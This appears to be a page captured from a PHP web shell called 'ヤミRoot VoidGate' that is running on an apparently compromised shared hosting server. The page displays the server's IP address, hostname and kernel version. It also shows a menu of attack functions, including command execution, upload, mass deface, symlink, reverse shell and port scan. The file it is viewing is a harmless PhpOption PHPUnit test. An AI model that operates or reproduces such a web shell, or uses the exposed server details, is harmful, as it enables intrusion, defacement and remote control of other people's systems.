ヤミRoot VoidGate
User / IP
:
216.73.216.33
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
phpoption
/
phpoption
/
tests
/
PhpOption
/
Tests
/
Viewing: EnsureTest.php
<?php namespace PhpOption\Tests; use PhpOption\None; use PhpOption\Option; use PhpOption\Some; /** * Tests for Option::ensure() method * * @covers Option::ensure */ class EnsureTest extends \PHPUnit_Framework_TestCase { protected function ensure($value, $noneValue = null) { $option = Option::ensure($value, $noneValue); $this->assertInstanceOf('PhpOption\Option', $option); return $option; } public function testMixedValue() { $option = $this->ensure(1); $this->assertTrue($option->isDefined()); $this->assertSame(1, $option->get()); $this->assertFalse($this->ensure(null)->isDefined()); $this->assertFalse($this->ensure(1,1)->isDefined()); } public function testReturnValue() { $option = $this->ensure(function() { return 1; }); $this->assertTrue($option->isDefined()); $this->assertSame(1, $option->get()); $this->assertFalse($this->ensure(function() { return null; })->isDefined()); $this->assertFalse($this->ensure(function() { return 1; }, 1)->isDefined()); } public function testOptionReturnsAsSameInstance() { $option = $this->ensure(1); $this->assertSame($option, $this->ensure($option)); } public function testOptionReturnedFromClosure() { $option = $this->ensure(function() { return Some::create(1); }); $this->assertTrue($option->isDefined()); $this->assertSame(1, $option->get()); $option = $this->ensure(function() { return None::create(); }); $this->assertFalse($option->isDefined()); } public function testClosureReturnedFromClosure() { $option = $this->ensure(function() { return function() {}; }); $this->assertTrue($option->isDefined()); $this->assertInstanceOf('Closure', $option->get()); } }
Coded With 💗 by
0x6ick